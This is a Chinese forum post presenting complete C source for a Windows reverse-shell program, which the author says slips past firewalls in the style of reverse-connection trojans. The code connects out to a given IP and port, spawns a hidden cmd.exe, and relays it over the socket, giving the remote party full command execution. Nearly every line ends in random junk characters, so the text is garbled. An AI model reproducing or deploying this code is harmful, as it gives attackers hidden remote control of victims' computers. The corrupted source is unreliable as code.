Windows下端口反弹

这是一个Windows下的小程序，可以穿透防火墙反弹连接，当然这是最简单的！看到网络上反弹木马到处都是，心一热就有了这个了（代码很垃圾的）。 f:xUPH?+  
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/* ============================== 6A}eSG3  
Rebound port in Windows NT mn.`qfMh  
By wind,2006/7 3Q",9(D  
===============================*/ S0F@#mSQ?  
#include 5Yl6?  
#include 9J?W '8s5  
4KE)g  
#pragma comment(lib,"wsock32.lib") H-185]7  
C(s\LI!r  
void OutputShell(); ~]4kkm7Y  
SOCKET sClient; 2sUbiDe-  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; c)03Ms4 D  
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void main(int argc,char **argv) YX_vv!-]  
{ aRX  
WSADATA stWsaData; Hr6wgYPi  
int nRet; Oo kxg *!5  
SOCKADDR_IN stSaiClient,stSaiServer; 4Hk6b09  
^1.7Juvb  
if(argc != 3) @m?{80;uQ  
{ $Buf#8)F*  
printf("Useage:\n\rRebound DestIP DestPort\n"); Pw= 3PvkL  
return; ?NlSeh  
} u%xDsTDP  
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WSAStartup(MAKEWORD(2,2),&stWsaData); v{.\iIg N  
%]#VdS|N
  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 847 R   
 |#V(p^  
stSaiClient.sin_family = AF_INET; t=i/xG:5  
stSaiClient.sin_port = htons(0); l~['[Ub0)
 
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); ywEDy|Wn$~  
l DnMjK\M  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 7 W{~f?Sh  
{ PPj[;(A  
printf("Bind Socket Failed!\n"); gfm;xT/y  
return; /VO^5Dnb  
} Mn@$;\:  
HlPG3LD!  
stSaiServer.sin_family = AF_INET; 4>YU8/Rw  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); GmbIFOT~  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); sMm/4AY]  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) .'/l'>  
{ KmL$M  
printf("Connect Error!"); xs%LRF#u  
return; ^dfx~C  
} qg4fR'
i  
OutputShell(); <s}|ZnGE  
} Qci$YTwl>  
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void OutputShell() ik5|,#}m&  
{ 0[)VO[  
char szBuff[1024]; i3PKqlp.  
SECURITY_ATTRIBUTES stSecurityAttributes; c#QFG1  
OSVERSIONINFO stOsversionInfo; N_G4_12(  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; _!!}'fMC  
STARTUPINFO stStartupInfo; *b"CPg/\  
char *szShell; [@3SfQ  
PROCESS_INFORMATION stProcessInformation; CZ3].DA|z  
unsigned long lBytesRead; 9P.(^SD][z  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); *QH[,F`I  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 6^E`Sa!s  
stSecurityAttributes.lpSecurityDescriptor = 0; TsHF tj9S  
stSecurityAttributes.bInheritHandle = TRUE; qVBL>9O*.  
8Z#21X>  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); 1,`H:%z%  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); J#aVo&.Y  
U-EhPAB@  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); }+0z,s~0.  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 3taa^e.  
stStartupInfo.wShowWindow = SW_HIDE; I4D<WoU;dJ  
stStartupInfo.hStdInput = hReadPipe; NfwYDY  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; } 0M{A+  
>SDpuG&>  
GetVersionEx(&stOsversionInfo); `FJ|W6%  
VVuR+=.&  
switch(stOsversionInfo.dwPlatformId) |nY~ZVTt/  
{ <m-.aK{9  
case 1: y ~AmG~  
szShell = "command.com"; ~R.dPUr  
break; l67KJ  
default: |RhM| i  
szShell = "cmd.exe"; 6E|S  
break; IU!Ht>  
} Wx]d $_  
Mo^`\/x!  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 4D"4zp7  
;%zC@a~{  
send(sClient,szMsg,77,0); 3t(c_:[%  
while(1) }c|UX ZW  
{ OM:v`<T!z  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); #w>~u2W  
if(lBytesRead) Fr5 Xp  
{ o\6iq  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); &5Y_>{,  
send(sClient,szBuff,lBytesRead,0); ?)i1b\4Go  
} 9y~"|t  
else Do*n#=  
{ U7H9/<&o  
lBytesRead=recv(sClient,szBuff,1024,0); *YvRNHP  
if(lBytesRead<=0) break; 'fY9a(Xt.  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); lS9n@  
} js <Ww$zFW  
} M"wue*&  
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return; 9DE)S)e8  
}